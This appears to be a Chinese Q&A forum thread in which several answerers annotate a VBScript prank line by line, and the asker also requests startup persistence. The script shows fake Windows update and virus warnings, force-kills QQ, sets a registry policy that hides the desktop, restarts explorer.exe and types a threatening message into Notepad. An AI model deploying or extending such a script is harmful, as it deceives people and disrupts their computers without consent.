Question

vbs整人破解

请高手给这段代码的每段加上注释~~本人对vbs只是肤浅的知道点，想看看这个vbs每个语句都是什么意思以及修改作用！如果回答超好，还追加分数！

msgbox "要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"
msgbox "秃驴 敢跟贫道抢师太",64,"投稿"
set ws=createobject("wscript.shell")
sub sleep (s)
wscript.sleep s * 1000
end sub
sleep 900
ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64
sleep 10
ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64
sleep 900
ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64
sleep 3
ws.run "taskkill /f /im qq.exe",vbhide : sleep 5
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
wscript.sleep 500
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
ws.run "notepad",3 : wscript.sleep 2000
ws.sendkeys "^ " : wscript.sleep 1000
verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",")
for each wind in verybat
ws.sendkeys wind
wscript.sleep 500
next
请写的详细点~~如果有没用的语句请也注释出来,可以发到我邮箱：wwqwby@126.com

同时给让这个VBS自动加入到系统启动项，就好了！

Answer 1

msgbox "要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"'输出"要求1、要同时涉及3大门派2、要包含江湖门....."
msgbox "秃驴 敢跟贫道抢师太",64,"投稿" '输出"秃驴 敢跟贫道抢师太"
set ws=createobject("wscript.shell")'这我不知
sub sleep (s) '这也不知
wscript.sleep s * 1000 '程序停顿s*1000毫秒
end sub ’End sub sleep （s)
sleep 900 '这我不说了
ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64
sleep 10
ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64
sleep 900
ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64
'用windows的窗口吓人
sleep 3
ws.run "taskkill /f /im qq.exe",vbhide : sleep 5 '关QQ
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
'锁住桌面
wscript.sleep 500
'这我不说了
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
'对explorer.exe下毒手
ws.run "notepad",3 : wscript.sleep 2000 '打开记事本并。。。
ws.sendkeys "^ " : wscript.sleep 1000
verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",")
for each wind in verybat
ws.sendkeys wind
'这些我不会！--^^^^
wscript.sleep 500 '这个是你也知的!
next'一个For对应一个next.
'完了

Answer 2

msgbox "要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"'输出"要求1、要同时涉及3大门派2、要包含江湖门....."
msgbox "秃驴 敢跟贫道抢师太",64,"投稿" '弹出对话框内容为"秃驴 敢跟贫道抢师太",上同
set ws=createobject("wscript.shell")'创建ws对象 用以运行程序等

sub sleep (s) '定义一个子函数,用于延时操作 实属多余,编程者菜鸟一只
wscript.sleep s * 1000 '停顿s*1000毫秒
end sub

sleep 900 '延时0.9秒
ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64 '调用popup(不同于msgbox 会自己关闭)弹出对话框,显示时间为30秒
sleep 10 '延时,下同
ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64
sleep 900
ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64
sleep 3
ws.run "taskkill /f /im qq.exe",vbhide : sleep 5 '隐藏调用taskkill(taskkill /f /im 你要关闭的进程名)强制关闭QQ
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\polices\explorer\nodesktop","00000001","REG_DWORD"
'修改注册表键值,锁住桌面
wscript.sleep 500

ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000 '结束explorer进程,是桌面无法显示,再停顿2秒
ws.run "explorer.exe",vbhide : wscript.sleep 6000 '重启explorer进程,在停顿6秒

ws.run "notepad",3 : wscript.sleep 2000 '打开记事本
ws.sendkeys "^ " : wscript.sleep 1000 '用sendkey的方法模拟键盘发送按键CTRL,激活窗口
verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",") '定义一个数组,内容为gongxi ni ~.....

for each wind in verybat '调用for循环,遍历数组中每一个元素(这里用变量wind代替,也就是说wind的值依次为gongxi ni ~.....)
ws.sendkeys wind '模拟发送按键wind
wscript.sleep 500
next

Answer 3

msgbox "要求："&vbcrlf&"1、要同时涉及3大门派"&vbcrlf&"2、要包含江湖门派间多年 怨情仇 又要打破世俗伦理"&vbcrlf&"3、同时情节还要扣人心悬 大有血雨腥 呼之欲来令人极为期待该小说之续集 同时留下N多悬念"&vbcrlf&"4、越短越好"&vbcrlf&""&vbcrlf&"第N天 有人来投稿 全文只有九个字:"&vbcrlf&""&vbcrlf&"...........",0,"武侠小说征文"'输出"要求1、要同时涉及3大门派2、要包含江湖门....."
msgbox "秃驴 敢跟贫道抢师太",64,"投稿" '输出"秃驴 敢跟贫道抢师太"
set ws=createobject("wscript.shell")'这我不知
sub sleep (s) '这也不知
wscript.sleep s * 1000 '程序停顿s*1000毫秒
end sub ’End sub sleep （s)
sleep 900 '这我不说了
ws.popup "windows检测到有重要更新未安装"&vbcrlf&""&vbcrlf&"系统将在30秒后自动下载更新并安装",30,"Windows Xp",64
sleep 10
ws.popup "正在下载更新......"&vbcrlf&""&vbcrlf&"稍候将提示您安装",10,"Windows Xp",64
sleep 900
ws.popup "windows已将一病毒载入计算机中"&vbcrlf&""&vbcrlf&"稍后即将运行",15,"病毒",64
'用windows的窗口吓人
sleep 3
ws.run "taskkill /f /im qq.exe",vbhide : sleep 5 '关QQ
ws.regwrite "HKLM\software\microsoft\Windows\currentversion\policies\explorer\nodesktop","00000001","REG_DWORD"
'锁住桌面
wscript.sleep 500
'这我不说了
ws.run "taskkill /f /im explorer.exe",vbhide : wscript.sleep 2000
ws.run "explorer.exe",vbhide : wscript.sleep 6000
'对explorer.exe下毒手
ws.run "notepad",3 : wscript.sleep 2000 '打开记事本并。。。
ws.sendkeys "^ " : wscript.sleep 1000
verybat=split("gongxi ,ni ,~,ni ,yijing ,bei ,wo ,kongzhi ,le ,~,ruguo ,ni ,zai ,30 miaozhong ,nei ,guanji ,~,name , keneng ,hai ,youjiu ,~,fouze , haha haha ____youxi ,kaishi la ,~,haole ,wo ,xianzai ,yao ,chuqu ,yixia ,~,yihui ,wo ,zailai ,zhaoni , haizi ,",",")
for each wind in verybat
ws.sendkeys wind
'这些我不会！--^^^^
wscript.sleep 500 '这个是你也知的!
next'一个For对应一个next.
现在明白了 吗？
应该很简单吧

Answer 4

这程序真无聊，就是关闭了你的QQ.在将你的桌面锁住，然后跳出对话框吓唬你，干不了别的。

Answer 5

无聊